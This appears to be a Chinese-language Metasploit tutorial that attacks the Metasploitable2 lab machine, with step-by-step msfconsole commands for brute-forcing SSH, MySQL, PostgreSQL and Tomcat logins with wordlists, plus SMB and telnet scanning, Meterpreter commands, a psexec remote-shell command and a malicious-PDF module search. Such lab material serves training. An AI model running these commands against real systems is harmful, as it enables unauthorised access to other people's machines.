一、前言
漏洞利用是獲得系統控制權限的重要途經。用戶從目標系統中找到容易攻擊的漏洞,然后利用該漏洞獲取權限,從而實現對目標系統的控制。
二、Metasploitable
Metasploitable是一款基於Ubuntu Linux的操作系統。該系統是一個虛擬機文件,從https://sourceforge.net/projects/metasploitable/files/latest/download 網站獲取最新版,下載解壓之后可以直接使用,無需安裝。Metasploitable就是用來作為攻擊用的靶機,所以它存在大量為打補丁漏洞,並且開放了無數高危端口。
三、Metasploit基礎
Metasploit是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,並管理專家驅動的安全性進行評估,提供真正的安全風險情報。這些功能包括智能開發,代碼審計,Web應用程序掃描,社會工程。
3.1 Metasplot終端(MSF console)
MSF終端(msf console)是目前Metasploit框架最為流行的用戶接口,而且也是非常靈活的。因為MSF終端是Metasploit框架中最靈活、功能最豐富及支持最好的工具之一。msf console主要用戶管理Metasploit數據庫,管理繪畫、配置並啟動Metasploit模塊。本質上來說,就是為了利用漏洞,msf console將獲取用戶連接到主機的信息,以至於用戶能啟動滲透攻擊目標系統。
當使用Metasploit控制台時,將使用一些通用的命令,如下所示。
help: 該命令允許用戶查看執行命令的幫助信息。 user module: 該命令允許用戶加載選擇的模塊。 set optionname module: 該命令為模塊設置不同的選項。 run: 該命令用來啟動一個非滲透攻擊模塊 search module: 該命令用於搜索一個特定的模塊。 exit: 退出msf console
(1) 在終端啟動msf console,執行命令如下所示:
root@kali:~/桌面# msfconsole
輸出的信息出現msf5>提示符,表示登錄msf console成功。此時就可以允許其他命令了。
(2)使用search命令搜索所有有效的模塊。
msf5 > search ssh_login
執行以上命令后,輸出信息如下所示:
(3)使用SSH口令爆破模塊
msf5 > use auxiliary/scanner/ssh/ssh_login # 等同於 use 0 0表示前面的編號
(4)查看模塊有效選項,執行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > show options
(5)設置有效參數,執行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.244.132 rhosts => 192.168.244.132 msf5 auxiliary(scanner/ssh/ssh_login) > set username root username => root msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /root/sshpass.txt pass_file => /root/sshpass.txt
(6)啟動模塊,執行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > run
(7)查看session,執行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l
(3) 連接session,執行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
如下圖所示,已成功連接至目標主機
3.2 Meterpreter
Meterpreter通常作為利用漏洞后的攻擊載荷所使用,攻擊載荷在出發漏洞后能返回給用戶一個控制通道。當使用msfconsole獲取到目標系統上的一個Meterpreter連接時,用戶必須使用Meterpreter傳遞攻擊載荷。msfconsole用於管理用戶的會話,而Meterpreter則是攻擊載荷和滲透攻擊交互。
Meterpreter常見的命令如下所示:
help: 查看幫助信息
background: 允許用戶在后台Meterpreter會話。
download:允許用戶從入侵主機上下載文件。
upload:允許用戶上傳文件到入侵主機。
execute:允許用戶在入侵主機上執行命令。
shell:允許用戶在入侵主機上(僅是Windows主機)運行Windows shell命令。
sessions -i: 允許用戶切換會話
四、滲透攻擊應用
4.1 滲透攻擊MySQL數據庫
目標靶機使用的Metasploitable2
msf5 > search mysql_login msf5 > use auxiliary/scanner/mysql/mysql_login msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/mysql/mysql_login) > set user_file /root/username.txt user_file => /root/username.txt msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/password.txt pass_file => root/password.txt msf5 auxiliary(scanner/mysql/mysql_login) > exploit
輸出的信息是滲透攻擊的一個過程,嘗試使用指定的用戶名/密碼文件中的用戶名和密碼連接MySQL服務器。在滲透攻擊過程中,Metasploit會嘗試輸入用戶名和密碼文件包含的用戶名和密碼組合。
4.2 滲透攻擊PostgreSQL數據庫服務
目標靶機使用的Metasploitable2
msf5 > search postgres_login msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/scanner/postgres/postgres_login msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt msf5 auxiliary(scanner/postgres/postgres_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt pass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt msf5 auxiliary(scanner/postgres/postgres_login) > exploit
4.3 滲透攻擊Tomcat服務
Tomcat默認存在一個管理后台,默認的管理地址是http://IP:端口/manager/html。通過此后台,可以在不重啟Tomcat服務的情況西安方便地部署、啟動、停止或卸載Web應用。但是如果配置不當的話就存在很大的安全隱患。攻擊者利用這個漏洞,可以非常快速、輕松地入侵一台服務器。
目標靶機使用的Metasploitable2
msf5 > search tomcat_mgr_login msf5 > use auxiliary/scanner/http/tomcat_mgr_login msf5 auxiliary(scanner/http/tomcat_mgr_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt pass_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt msf5 auxiliary(scanner/http/tomcat_mgr_login) > set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt user_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180 rport => 8180 msf5 auxiliary(scanner/http/tomcat_mgr_login) > exploit
4.4 滲透攻擊Telnet服務
msf5 > search telnet_version msf5 auxiliary(scanner/http/tomcat_mgr_login) > use auxiliary/scanner/telnet/telnet_version msf5 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/telnet/telnet_version) > exploit
4.5 滲透攻擊Samba服務
Samba是實現SMB(Server Messages Block)協議、跨平台進行文件共享和打印共享服務的程序。Samba服務對應的端口有139和445等,只要開啟這些端口后,主機就可能存在Samba服務遠程溢出漏洞。
目標靶機使用的Metasploitable2
msf5 > search smb_version msf5 > use auxiliary/scanner/smb/smb_version msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/smb/smb_version) > exploit
假如通過SMB爆破出目標主機的用戶及密碼、目標主機又沒有開啟RDP時,可以使用psexec.exe \\目標主機地址 -l administrator -p 1234567 cmd.exe
4.6 PDF文件攻擊
PDF是一種文件格式,該文件的使用比較廣泛,並且容易傳輸。通常工作中,用戶都是從工作程序中打開了一個合法的PDF文檔。當打開該文檔時,該用戶的主機就可能被攻擊。Metasploit提供了一個滲透攻擊模塊,可以創建一個攻擊載荷,通過傳遞該攻擊載荷對目標系統進行滲透攻擊。
msf5 auxiliary(scanner/smb/smb_version) > search adobe_pdf_embedded_exe